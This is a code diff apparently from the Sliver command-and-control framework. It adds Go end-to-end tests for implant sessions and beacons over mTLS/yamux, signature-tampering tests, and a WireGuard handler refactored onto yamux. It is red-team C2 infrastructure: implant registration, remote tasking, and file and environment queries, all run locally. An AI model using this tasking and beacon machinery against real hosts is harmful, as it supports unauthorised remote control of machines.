_, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame))
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
t.Fatalf("expected invalid signature error, got=%v", err)
}
}
func TestMTLSImplantReadEnvelopeRejectsTamperedServerMessage(t *testing.T) {
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
// Flip a byte in the protobuf payload after signing.
dataOffset := minisign.RawSigSize + 4
frame[dataOffset] ^= 0x01
_, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame))
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
t.Fatalf("expected invalid signature error, got=%v", err)
}
}
func TestMTLSImplantReadEnvelopeRejectsTruncatedServerSignature(t *testing.T) {
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
_, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame[:minisign.RawSigSize-1]))
if err == nil {
t.Fatalf("expected error for truncated signature, got nil")
}
if !errors.Is(err, io.EOF) && !errors.Is(err, io.ErrUnexpectedEOF) {
t.Fatalf("expected EOF for truncated signature, got=%v", err)
}
}
@@ -0,0 +1,12 @@
//go:build server && go_sqlite && sliver_e2e
package c2
import "net"
// HandleSliverConnectionForTest exposes the raw connection handler to external
// (package `c2_test`) end-to-end tests without shipping test-only symbols in
// production builds.
func HandleSliverConnectionForTest(conn net.Conn) {
handleSliverConnection(conn)
}
+537
View File
@@ -0,0 +1,537 @@
//go:build server && go_sqlite && sliver_e2e
package c2_test
import (
"context"
"fmt"
"net"
"os"
"path/filepath"
"runtime"
"sync"
"testing"
"time"
implantHandlers "github.com/bishopfox/sliver/implant/sliver/handlers"
implantMTLS "github.com/bishopfox/sliver/implant/sliver/transports/mtls"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/c2"
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/transport"
"github.com/google/uuid"
"github.com/hashicorp/yamux"
"google.golang.org/protobuf/proto"
)
func TestMTLSYamux_Beacon_EndToEndAsyncPingRPC(t *testing.T) {
// NOTE: If you run this test in a restricted environment where writes to
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
grpcServer, grpcListener, err := transport.LocalListener()
if err != nil {
t.Fatalf("start local grpc listener: %v", err)
}
t.Cleanup(func() {
grpcServer.Stop()
_ = grpcListener.Close()
})
serverConn, implantConn := net.Pipe()
t.Cleanup(func() {
_ = serverConn.Close()
_ = implantConn.Close()
})
go c2.HandleSliverConnectionForTest(serverConn)
beaconID := uuid.NewString()
beacon := startTestBeacon(t, implantConn, beaconID)
t.Cleanup(beacon.Stop)
rpcConn, err := dialBufConn(context.Background(), grpcListener)
if err != nil {
t.Fatalf("dial grpc/bufconn: %v", err)
}
t.Cleanup(func() { _ = rpcConn.Close() })
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
waitForBeaconRegistration(t, rpcClient, beaconID, 10*time.Second)
const tasksCount = 8
type taskInfo struct {
id string
nonce int32
}
taskInfos := make([]taskInfo, 0, tasksCount)
for i := 0; i < tasksCount; i++ {
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
nonce := int32(1000 + i)
resp, err := rpcClient.Ping(callCtx, &sliverpb.Ping{
Nonce: nonce,
Request: &commonpb.Request{
Async: true,
BeaconID: beaconID,
Timeout: int64(5 * time.Second),
},
})
cancel()
if err != nil {
t.Fatalf("rpc ping (async): %v", err)
}
if resp.GetResponse() == nil || resp.GetResponse().TaskID == "" {
t.Fatalf("expected ping task id in async response, got=%v", resp.GetResponse())
}
taskInfos = append(taskInfos, taskInfo{id: resp.GetResponse().TaskID, nonce: nonce})
}
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
pendingTasks, err := beacon.FetchPendingTasks(ctx)
if err != nil {
t.Fatalf("fetch pending beacon tasks: %v", err)
}
if len(pendingTasks) < tasksCount {
t.Fatalf("unexpected pending tasks count: got=%d want>=%d", len(pendingTasks), tasksCount)
}
results := executeBeaconTasks(t, pendingTasks)
if err := beacon.SendResults(results); err != nil {
t.Fatalf("send beacon results: %v", err)
}
for _, info := range taskInfos {
waitForBeaconTaskCompleted(t, rpcClient, info.id, info.nonce, 10*time.Second)
}
}
func TestMTLSYamux_Beacon_EndToEndAsyncMixedRPCs(t *testing.T) {
// NOTE: If you run this test in a restricted environment where writes to
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
grpcServer, grpcListener, err := transport.LocalListener()
if err != nil {
t.Fatalf("start local grpc listener: %v", err)
}
t.Cleanup(func() {
grpcServer.Stop()
_ = grpcListener.Close()
})
serverConn, implantConn := net.Pipe()
t.Cleanup(func() {
_ = serverConn.Close()
_ = implantConn.Close()
})
go c2.HandleSliverConnectionForTest(serverConn)
beaconID := uuid.NewString()
beacon := startTestBeacon(t, implantConn, beaconID)
t.Cleanup(beacon.Stop)
rpcConn, err := dialBufConn(context.Background(), grpcListener)
if err != nil {
t.Fatalf("dial grpc/bufconn: %v", err)
}
t.Cleanup(func() { _ = rpcConn.Close() })
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
waitForBeaconRegistration(t, rpcClient, beaconID, 10*time.Second)
testDir := t.TempDir()
if err := os.WriteFile(filepath.Join(testDir, "alpha.txt"), []byte("alpha"), 0600); err != nil {
t.Fatalf("write alpha.txt: %v", err)
}
if err := os.Mkdir(filepath.Join(testDir, "subdir"), 0700); err != nil {
t.Fatalf("mkdir subdir: %v", err)
}
reqTimeout := int64(5 * time.Second)
type taskCheck struct {
id string
check func(*testing.T, []byte)
}
checks := make([]taskCheck, 0, 8)
addTask := func(callCtx context.Context, taskID string, check func(*testing.T, []byte)) {
if taskID == "" {
t.Fatalf("expected task id in async response")
}
checks = append(checks, taskCheck{id: taskID, check: check})
}
for i := 0; i < 4; i++ {
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
nonce := int32(2000 + i)
resp, err := rpcClient.Ping(callCtx, &sliverpb.Ping{
Nonce: nonce,
Request: &commonpb.Request{
Async: true,
BeaconID: beaconID,
Timeout: reqTimeout,
},
})
cancel()
if err != nil {
t.Fatalf("rpc ping (async): %v", err)
}
taskID := resp.GetResponse().GetTaskID()
wantNonce := nonce
addTask(callCtx, taskID, func(t *testing.T, data []byte) {
t.Helper()
ping := &sliverpb.Ping{}
if err := proto.Unmarshal(data, ping); err != nil {
t.Fatalf("unmarshal ping response: %v", err)
}
if ping.Nonce != wantNonce {
t.Fatalf("unexpected ping nonce: got=%d want=%d", ping.Nonce, wantNonce)
}
})
}
{
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
resp, err := rpcClient.Pwd(callCtx, &sliverpb.PwdReq{
Request: &commonpb.Request{
Async: true,
BeaconID: beaconID,
Timeout: reqTimeout,
},
})
cancel()
if err != nil {
t.Fatalf("rpc pwd (async): %v", err)
}
taskID := resp.GetResponse().GetTaskID()
addTask(callCtx, taskID, func(t *testing.T, data []byte) {
t.Helper()
pwd := &sliverpb.Pwd{}
if err := proto.Unmarshal(data, pwd); err != nil {
t.Fatalf("unmarshal pwd response: %v", err)
}
if pwd.Path == "" {
t.Fatalf("unexpected empty pwd path")
}
})
}
{
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
resp, err := rpcClient.GetEnv(callCtx, &sliverpb.EnvReq{
Name: "PATH",
Request: &commonpb.Request{
Async: true,
BeaconID: beaconID,
Timeout: reqTimeout,
},
})
cancel()
if err != nil {
t.Fatalf("rpc getenv (async): %v", err)
}
taskID := resp.GetResponse().GetTaskID()
addTask(callCtx, taskID, func(t *testing.T, data []byte) {
t.Helper()
env := &sliverpb.EnvInfo{}
if err := proto.Unmarshal(data, env); err != nil {
t.Fatalf("unmarshal env response: %v", err)
}
if len(env.Variables) != 1 || env.Variables[0].Key != "PATH" {
t.Fatalf("unexpected env response: %+v", env.Variables)
}
})
}
{
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
resp, err := rpcClient.Ls(callCtx, &sliverpb.LsReq{
Path: testDir,
Request: &commonpb.Request{
Async: true,
BeaconID: beaconID,
Timeout: reqTimeout,
},
})
cancel()
if err != nil {
t.Fatalf("rpc ls (async): %v", err)
}
taskID := resp.GetResponse().GetTaskID()
addTask(callCtx, taskID, func(t *testing.T, data []byte) {
t.Helper()
ls := &sliverpb.Ls{}
if err := proto.Unmarshal(data, ls); err != nil {
t.Fatalf("unmarshal ls response: %v", err)
}
if !ls.Exists {
t.Fatalf("unexpected ls response (Exists=false): %v", ls.GetResponse())
}
found := false
for _, file := range ls.Files {
if file.Name == "alpha.txt" {
found = true
break
}
}
if !found {
t.Fatalf("ls missing expected alpha.txt entry")
}
})
}
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
pendingTasks, err := beacon.FetchPendingTasks(ctx)
if err != nil {
t.Fatalf("fetch pending beacon tasks: %v", err)
}
if len(pendingTasks) < len(checks) {
t.Fatalf("unexpected pending tasks count: got=%d want>=%d", len(pendingTasks), len(checks))
}
results := executeBeaconTasks(t, pendingTasks)
if err := beacon.SendResults(results); err != nil {
t.Fatalf("send beacon results: %v", err)
}
for _, tc := range checks {
data := waitForBeaconTaskResponseBytes(t, rpcClient, tc.id, 10*time.Second)
tc.check(t, data)
}
}
type testBeacon struct {
id string
conn net.Conn
session *yamux.Session
incoming chan *sliverpb.Envelope
done chan struct{}
}
func startTestBeacon(t *testing.T, conn net.Conn, beaconID string) *testBeacon {
t.Helper()
if _, err := conn.Write([]byte(implantMTLS.YamuxPreface)); err != nil {
t.Fatalf("write yamux preface: %v", err)
}
muxSession, err := yamux.Client(conn, nil)
if err != nil {
t.Fatalf("start yamux client session: %v", err)
}
beacon := &testBeacon{
id: beaconID,
conn: conn,
session: muxSession,
incoming: make(chan *sliverpb.Envelope, 64),
done: make(chan struct{}),
}
go beacon.recvLoop()
register := &sliverpb.Register{
Name: "e2e-beacon",
Hostname: "localhost",
Uuid: uuid.NewString(),
Username: "unit-test",
Os: runtime.GOOS,
Arch: runtime.GOARCH,
Pid: int32(os.Getpid()),
Filename: "sliver-e2e",
ActiveC2: "mtls://e2e",
Version: "e2e",
ReconnectInterval: 0,
ProxyURL: "",
Locale: "en_US",
}
regData, err := proto.Marshal(&sliverpb.BeaconRegister{
ID: beaconID,
Interval: int64(1),
Jitter: int64(0),
Register: register,
NextCheckin: int64(1),
})
if err != nil {
t.Fatalf("marshal beacon register: %v", err)
}
if err := sendYamuxEnvelope(muxSession, &sliverpb.Envelope{Type: sliverpb.MsgBeaconRegister, Data: regData}); err != nil {
t.Fatalf("send beacon register: %v", err)
}
return beacon
}
func (b *testBeacon) Stop() {
select {
case <-b.done:
default:
close(b.done)
}
_ = b.session.Close()
_ = b.conn.Close()
}
func (b *testBeacon) recvLoop() {
defer close(b.incoming)
for {
stream, err := b.session.Accept()
if err != nil {
return
}
go func(stream net.Conn) {
defer stream.Close()
envelope, err := implantMTLS.ReadEnvelope(stream)
if err != nil || envelope == nil {
return
}
select {
case b.incoming <- envelope:
case <-b.done:
}
}(stream)
}
}
func (b *testBeacon) FetchPendingTasks(ctx context.Context) ([]*sliverpb.Envelope, error) {
reqData, err := proto.Marshal(&sliverpb.BeaconTasks{
ID: b.id,
NextCheckin: int64(1),
})
if err != nil {
return nil, err
}
if err := sendYamuxEnvelope(b.session, &sliverpb.Envelope{Type: sliverpb.MsgBeaconTasks, Data: reqData}); err != nil {
return nil, err
}
for {
select {
case envelope, ok := <-b.incoming:
if !ok {
return nil, fmt.Errorf("beacon connection closed")
}
if envelope.Type != sliverpb.MsgBeaconTasks {
continue
}
resp := &sliverpb.BeaconTasks{}
if err := proto.Unmarshal(envelope.Data, resp); err != nil {
return nil, err
}
return resp.Tasks, nil
case <-ctx.Done():
return nil, ctx.Err()
}
}
}
func (b *testBeacon) SendResults(results []*sliverpb.Envelope) error {
reqData, err := proto.Marshal(&sliverpb.BeaconTasks{
ID: b.id,
NextCheckin: int64(1),
Tasks: results,
})
if err != nil {
return err
}
return sendYamuxEnvelope(b.session, &sliverpb.Envelope{Type: sliverpb.MsgBeaconTasks, Data: reqData})
}
func executeBeaconTasks(t *testing.T, tasks []*sliverpb.Envelope) []*sliverpb.Envelope {
t.Helper()
sysHandlers := implantHandlers.GetSystemHandlers()
results := make([]*sliverpb.Envelope, 0, len(tasks))
for _, task := range tasks {
if task == nil || task.ID == 0 {
continue
}
handler, ok := sysHandlers[task.Type]
if !ok {
results = append(results, &sliverpb.Envelope{ID: task.ID, UnknownMessageType: true})
continue
}
done := make(chan struct{})
var (
respData []byte
respErr error
)
var doneOnce sync.Once
handler(task.Data, func(data []byte, err error) {
respData = data
respErr = err
doneOnce.Do(func() {
close(done)
})
})
select {
case <-done:
_ = respErr
results = append(results, &sliverpb.Envelope{ID: task.ID, Data: respData})
case <-time.After(2 * time.Second):
t.Fatalf("timeout waiting for handler response (task=%d type=%d)", task.ID, task.Type)
}
}
return results
}
func waitForBeaconRegistration(t *testing.T, rpcClient rpcpb.SliverRPCClient, beaconID string, timeout time.Duration) {
t.Helper()
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
_, err := rpcClient.GetBeacon(ctx, &clientpb.Beacon{ID: beaconID})
cancel()
if err == nil {
return
}
time.Sleep(25 * time.Millisecond)
}
t.Fatalf("timed out waiting for beacon registration")
}
func waitForBeaconTaskResponseBytes(t *testing.T, rpcClient rpcpb.SliverRPCClient, taskID string, timeout time.Duration) []byte {
t.Helper()
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
task, err := rpcClient.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
cancel()
if err != nil {
time.Sleep(25 * time.Millisecond)
continue
}
if task.State != models.COMPLETED || len(task.Response) == 0 {
time.Sleep(25 * time.Millisecond)
continue
}
return task.Response
}
t.Fatalf("timed out waiting for beacon task completion (task=%s)", taskID)
return nil
}
func waitForBeaconTaskCompleted(t *testing.T, rpcClient rpcpb.SliverRPCClient, taskID string, wantNonce int32, timeout time.Duration) {
t.Helper()
data := waitForBeaconTaskResponseBytes(t, rpcClient, taskID, timeout)
ping := &sliverpb.Ping{}
if err := proto.Unmarshal(data, ping); err != nil {
t.Fatalf("unmarshal ping response: %v", err)
}
if ping.Nonce != wantNonce {
t.Fatalf("unexpected ping nonce: got=%d want=%d", ping.Nonce, wantNonce)
}
}
+441
View File
@@ -0,0 +1,441 @@
//go:build server && go_sqlite && sliver_e2e
package c2_test
import (
"context"
"fmt"
"net"
"os"
"path/filepath"
"runtime"
"sync"
"testing"
"time"
implantHandlers "github.com/bishopfox/sliver/implant/sliver/handlers"
implantMTLS "github.com/bishopfox/sliver/implant/sliver/transports/mtls"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/c2"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/transport"
"github.com/google/uuid"
"github.com/hashicorp/yamux"
"google.golang.org/grpc"
"google.golang.org/grpc/credentials/insecure"
"google.golang.org/grpc/test/bufconn"
"google.golang.org/protobuf/proto"
)
func TestMTLSYamux_EndToEndPingRPC(t *testing.T) {
// NOTE: If you run this test in a restricted environment where writes to
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
t.Cleanup(func() {
for _, session := range core.Sessions.All() {
core.Sessions.Remove(session.ID)
}
})
grpcServer, grpcListener, err := transport.LocalListener()
if err != nil {
t.Fatalf("start local grpc listener: %v", err)
}
t.Cleanup(func() {
grpcServer.Stop()
_ = grpcListener.Close()
})
serverConn, implantConn := net.Pipe()
t.Cleanup(func() {
_ = serverConn.Close()
_ = implantConn.Close()
})
go c2.HandleSliverConnectionForTest(serverConn)
stopImplant := startTestImplant(t, implantConn)
t.Cleanup(stopImplant)
sessionID := waitForSessionID(t, 10*time.Second)
rpcConn, err := dialBufConn(context.Background(), grpcListener)
if err != nil {
t.Fatalf("dial grpc/bufconn: %v", err)
}
t.Cleanup(func() { _ = rpcConn.Close() })
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
pingReq := &sliverpb.Ping{
Nonce: 31337,
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: int64(5 * time.Second),
},
}
pingResp, err := rpcClient.Ping(ctx, pingReq)
if err != nil {
t.Fatalf("rpc ping: %v", err)
}
if pingResp.Nonce != pingReq.Nonce {
t.Fatalf("unexpected ping nonce: got=%d want=%d", pingResp.Nonce, pingReq.Nonce)
}
const concurrentPings = 32
var wg sync.WaitGroup
errCh := make(chan error, concurrentPings)
for i := 0; i < concurrentPings; i++ {
wg.Add(1)
go func(i int) {
defer wg.Done()
callCtx, callCancel := context.WithTimeout(context.Background(), 10*time.Second)
defer callCancel()
req := &sliverpb.Ping{
Nonce: int32(i),
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: int64(5 * time.Second),
},
}
resp, err := rpcClient.Ping(callCtx, req)
if err != nil {
errCh <- err
return
}
if resp.Nonce != req.Nonce {
errCh <- fmt.Errorf("ping nonce mismatch: got=%d want=%d", resp.Nonce, req.Nonce)
return
}
}(i)
}
wg.Wait()
close(errCh)
for err := range errCh {
t.Error(err)
}
}
func TestMTLSYamux_EndToEndMixedRPCs(t *testing.T) {
// NOTE: If you run this test in a restricted environment where writes to
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
t.Cleanup(func() {
for _, session := range core.Sessions.All() {
core.Sessions.Remove(session.ID)
}
})
grpcServer, grpcListener, err := transport.LocalListener()
if err != nil {
t.Fatalf("start local grpc listener: %v", err)
}
t.Cleanup(func() {
grpcServer.Stop()
_ = grpcListener.Close()
})
serverConn, implantConn := net.Pipe()
t.Cleanup(func() {
_ = serverConn.Close()
_ = implantConn.Close()
})
go c2.HandleSliverConnectionForTest(serverConn)
stopImplant := startTestImplant(t, implantConn)
t.Cleanup(stopImplant)
sessionID := waitForSessionID(t, 10*time.Second)
rpcConn, err := dialBufConn(context.Background(), grpcListener)
if err != nil {
t.Fatalf("dial grpc/bufconn: %v", err)
}
t.Cleanup(func() { _ = rpcConn.Close() })
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
testDir := t.TempDir()
if err := os.WriteFile(filepath.Join(testDir, "alpha.txt"), []byte("alpha"), 0600); err != nil {
t.Fatalf("write alpha.txt: %v", err)
}
if err := os.Mkdir(filepath.Join(testDir, "subdir"), 0700); err != nil {
t.Fatalf("mkdir subdir: %v", err)
}
reqTimeout := int64(5 * time.Second)
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
pwdResp, err := rpcClient.Pwd(ctx, &sliverpb.PwdReq{
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: reqTimeout,
},
})
if err != nil {
t.Fatalf("rpc pwd: %v", err)
}
if pwdResp.Path == "" {
t.Fatalf("unexpected empty pwd path")
}
envResp, err := rpcClient.GetEnv(ctx, &sliverpb.EnvReq{
Name: "PATH",
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: reqTimeout,
},
})
if err != nil {
t.Fatalf("rpc getenv: %v", err)
}
if len(envResp.Variables) != 1 || envResp.Variables[0].Key != "PATH" {
t.Fatalf("unexpected getenv response: %+v", envResp.Variables)
}
lsResp, err := rpcClient.Ls(ctx, &sliverpb.LsReq{
Path: testDir,
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: reqTimeout,
},
})
if err != nil {
t.Fatalf("rpc ls: %v", err)
}
if !lsResp.Exists {
t.Fatalf("unexpected ls response (Exists=false): %v", lsResp.GetResponse())
}
lsNames := map[string]bool{}
for _, file := range lsResp.Files {
lsNames[file.Name] = true
}
for _, want := range []string{"alpha.txt", "subdir"} {
if !lsNames[want] {
t.Fatalf("ls missing expected entry %q (got %d entries)", want, len(lsResp.Files))
}
}
const concurrentCalls = 64
var wg sync.WaitGroup
errCh := make(chan error, concurrentCalls)
for i := 0; i < concurrentCalls; i++ {
wg.Add(1)
go func(i int) {
defer wg.Done()
callCtx, callCancel := context.WithTimeout(context.Background(), 10*time.Second)
defer callCancel()
switch i % 4 {
case 0:
req := &sliverpb.Ping{
Nonce: int32(i),
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: reqTimeout,
},
}
resp, err := rpcClient.Ping(callCtx, req)
if err != nil {
errCh <- err
return
}
if resp.Nonce != req.Nonce {
errCh <- fmt.Errorf("ping nonce mismatch: got=%d want=%d", resp.Nonce, req.Nonce)
return
}
case 1:
resp, err := rpcClient.Pwd(callCtx, &sliverpb.PwdReq{
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: reqTimeout,
},
})
if err != nil {
errCh <- err
return
}
if resp.Path == "" {
errCh <- fmt.Errorf("pwd returned empty path")
return
}
case 2:
resp, err := rpcClient.GetEnv(callCtx, &sliverpb.EnvReq{
Name: "PATH",
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: reqTimeout,
},
})
if err != nil {
errCh <- err
return
}
if len(resp.Variables) != 1 || resp.Variables[0].Key != "PATH" {
errCh <- fmt.Errorf("unexpected getenv response: %+v", resp.Variables)
return
}
default:
resp, err := rpcClient.Ls(callCtx, &sliverpb.LsReq{
Path: testDir,
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: reqTimeout,
},
})
if err != nil {
errCh <- err
return
}
if !resp.Exists {
errCh <- fmt.Errorf("unexpected ls response (Exists=false): %v", resp.GetResponse())
return
}
found := false
for _, file := range resp.Files {
if file.Name == "alpha.txt" {
found = true
break
}
}
if !found {
errCh <- fmt.Errorf("ls missing expected alpha.txt entry")
return
}
}
}(i)
}
wg.Wait()
close(errCh)
for err := range errCh {
t.Error(err)
}
}
func dialBufConn(ctx context.Context, ln *bufconn.Listener) (*grpc.ClientConn, error) {
dialer := func(context.Context, string) (net.Conn, error) { return ln.Dial() }
return grpc.DialContext(ctx, "bufnet",
grpc.WithContextDialer(dialer),
grpc.WithTransportCredentials(insecure.NewCredentials()),
)
}
func waitForSessionID(t *testing.T, timeout time.Duration) string {
t.Helper()
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
sessions := core.Sessions.All()
if 0 < len(sessions) {
return sessions[0].ID
}
time.Sleep(25 * time.Millisecond)
}
t.Fatalf("timed out waiting for session registration")
return ""
}
func startTestImplant(t *testing.T, conn net.Conn) func() {
t.Helper()
if _, err := conn.Write([]byte(implantMTLS.YamuxPreface)); err != nil {
t.Fatalf("write yamux preface: %v", err)
}
muxSession, err := yamux.Client(conn, nil)
if err != nil {
t.Fatalf("start yamux client session: %v", err)
}
register := &sliverpb.Register{
Name: "e2e",
Hostname: "localhost",
Uuid: uuid.NewString(),
Username: "unit-test",
Os: runtime.GOOS,
Arch: runtime.GOARCH,
Pid: int32(os.Getpid()),
Filename: "sliver-e2e",
ActiveC2: "mtls://e2e",
Version: "e2e",
ReconnectInterval: 0,
ProxyURL: "",
Locale: "en_US",
}
regData, err := proto.Marshal(register)
if err != nil {
t.Fatalf("marshal register: %v", err)
}
if err := sendYamuxEnvelope(muxSession, &sliverpb.Envelope{Type: sliverpb.MsgRegister, Data: regData}); err != nil {
t.Fatalf("send register: %v", err)
}
handlers := implantHandlers.GetSystemHandlers()
loopDone := make(chan struct{})
go func() {
defer close(loopDone)
streamSem := make(chan struct{}, 128)
for {
stream, err := muxSession.Accept()
if err != nil {
return
}
select {
case streamSem <- struct{}{}:
default:
_ = stream.Close()
continue
}
go func(stream net.Conn) {
defer func() { <-streamSem }()
defer stream.Close()
envelope, err := implantMTLS.ReadEnvelope(stream)
if err != nil || envelope == nil || envelope.ID == 0 {
return
}
handler, ok := handlers[envelope.Type]
if !ok {
_ = sendYamuxEnvelope(muxSession, &sliverpb.Envelope{ID: envelope.ID, UnknownMessageType: true})
return
}
handler(envelope.Data, func(data []byte, err error) {
_ = err
_ = sendYamuxEnvelope(muxSession, &sliverpb.Envelope{ID: envelope.ID, Data: data})
})
}(stream)
}
}()
return func() {
_ = muxSession.Close()
_ = conn.Close()
select {
case <-loopDone:
case <-time.After(5 * time.Second):
}
}
}
func sendYamuxEnvelope(session *yamux.Session, envelope *sliverpb.Envelope) error {
stream, err := session.Open()
if err != nil {
return err
}
defer stream.Close()
return implantMTLS.WriteEnvelope(stream, envelope)
}
+185 -40
View File
@@ -21,20 +21,25 @@ package c2
import (
"bufio"
"bytes"
"crypto/ed25519"
"encoding/binary"
"errors"
"fmt"
"io"
"net"
"net/netip"
"sync"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/core"
serverCrypto "github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/generate"
serverHandlers "github.com/bishopfox/sliver/server/handlers"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/server/netstack"
"github.com/bishopfox/sliver/util/minisign"
"github.com/hashicorp/yamux"
"golang.zx2c4.com/wireguard/conn"
"golang.zx2c4.com/wireguard/device"
"google.golang.org/protobuf/proto"
@@ -45,6 +50,14 @@ var (
tunIP = "100.64.0.1" // Don't let user configure this for now
)
const (
wgYamuxPreface = mtlsYamuxPreface
)
var (
wgYamuxPrefaceBytes = []byte(wgYamuxPreface)
)
// StartWGListener - First creates an inet.af network stack.
// then creates a Wireguard device/interface and applies configuration.
// Go routines are spun up to handle key exchange connections, as well
@@ -205,56 +218,150 @@ func handleWGSliverConnection(conn net.Conn) {
wgLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
implantConn := core.NewImplantConnection("wg", conn.RemoteAddr().String())
implantConn.UpdateLastMessage()
defer func() {
wgLog.Debugf("wireguard connection closing")
implantConn.Cleanup()
conn.Close()
}()
done := make(chan bool)
br := bufio.NewReader(conn)
bufferedConn := &wgBufferedConn{Conn: conn, r: br}
preface, err := br.Peek(len(wgYamuxPrefaceBytes))
if err == nil && bytes.Equal(preface, wgYamuxPrefaceBytes) {
if _, err := br.Discard(len(wgYamuxPrefaceBytes)); err != nil {
wgLog.Errorf("Failed to discard yamux preface: %v", err)
return
}
handleWGSliverConnectionYamux(bufferedConn, implantConn)
return
}
wgLog.Warnf("Rejecting legacy wireguard connection (missing yamux preface) from %s", conn.RemoteAddr())
}
type wgBufferedConn struct {
net.Conn
r *bufio.Reader
}
func (c *wgBufferedConn) Read(p []byte) (int, error) {
return c.r.Read(p)
}
func handleWGSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnection) {
session, err := yamux.Server(conn, nil)
if err != nil {
wgLog.Errorf("Failed to initialize yamux session: %v", err)
return
}
defer session.Close()
done := make(chan struct{})
var doneOnce sync.Once
closeDone := func() {
doneOnce.Do(func() {
close(done)
session.Close()
})
}
streamSem := make(chan struct{}, mtlsYamuxMaxConcurrentStreams)
sendSem := make(chan struct{}, mtlsYamuxMaxConcurrentSends)
handlers := serverHandlers.GetHandlers()
go func() {
defer func() {
done <- true
}()
handlers := serverHandlers.GetHandlers()
defer closeDone()
for {
envelope, err := socketWGReadEnvelope(conn)
stream, err := session.Accept()
if err != nil {
wgLog.Errorf("Socket read error %s", err)
if !errors.Is(err, io.EOF) {
wgLog.Errorf("yamux accept error: %v", err)
}
return
}
implantConn.UpdateLastMessage()
if envelope.ID != 0 {
implantConn.RespMutex.RLock()
if resp, ok := implantConn.Resp[envelope.ID]; ok {
resp <- envelope // Could deadlock, maybe want to investigate better solutions
}
implantConn.RespMutex.RUnlock()
} else if handler, ok := handlers[envelope.Type]; ok {
go func() {
respEnvelope := handler(implantConn, envelope.Data)
if respEnvelope != nil {
implantConn.Send <- respEnvelope
}
select {
case streamSem <- struct{}{}:
case <-done:
stream.Close()
return
}
go func(stream net.Conn) {
defer func() {
<-streamSem
}()
defer stream.Close()
envelope, err := socketWGReadEnvelope(stream)
if err != nil {
wgLog.Errorf("Stream read error %v", err)
closeDone()
return
}
implantConn.UpdateLastMessage()
if envelope.ID != 0 {
implantConn.RespMutex.RLock()
resp, ok := implantConn.Resp[envelope.ID]
implantConn.RespMutex.RUnlock()
if ok {
resp <- envelope
}
return
}
if handler, ok := handlers[envelope.Type]; ok {
go func(envelope *sliverpb.Envelope) {
respEnvelope := handler(implantConn, envelope.Data)
if respEnvelope != nil {
implantConn.Send <- respEnvelope
}
}(envelope)
}
}(stream)
}
}()
go func() {
defer closeDone()
for {
select {
case envelope := <-implantConn.Send:
select {
case sendSem <- struct{}{}:
case <-done:
return
}
go func(envelope *sliverpb.Envelope) {
defer func() {
<-sendSem
}()
stream, err := session.Open()
if err != nil {
wgLog.Errorf("yamux open stream error: %v", err)
closeDone()
return
}
defer stream.Close()
if err := socketWGWriteEnvelope(stream, envelope); err != nil {
wgLog.Errorf("Stream write failed %v", err)
closeDone()
return
}
}(envelope)
case <-done:
return
}
}
}()
Loop:
for {
select {
case envelope := <-implantConn.Send:
err := socketWGWriteEnvelope(conn, envelope)
if err != nil {
wgLog.Errorf("Socket write failed %s", err)
break Loop
}
case <-done:
break Loop
}
}
wgLog.Debugf("Closing connection to implant %s", implantConn.ID)
<-done
}
// socketWGWriteEnvelope - Writes a message to the wireguard socket using length prefix framing
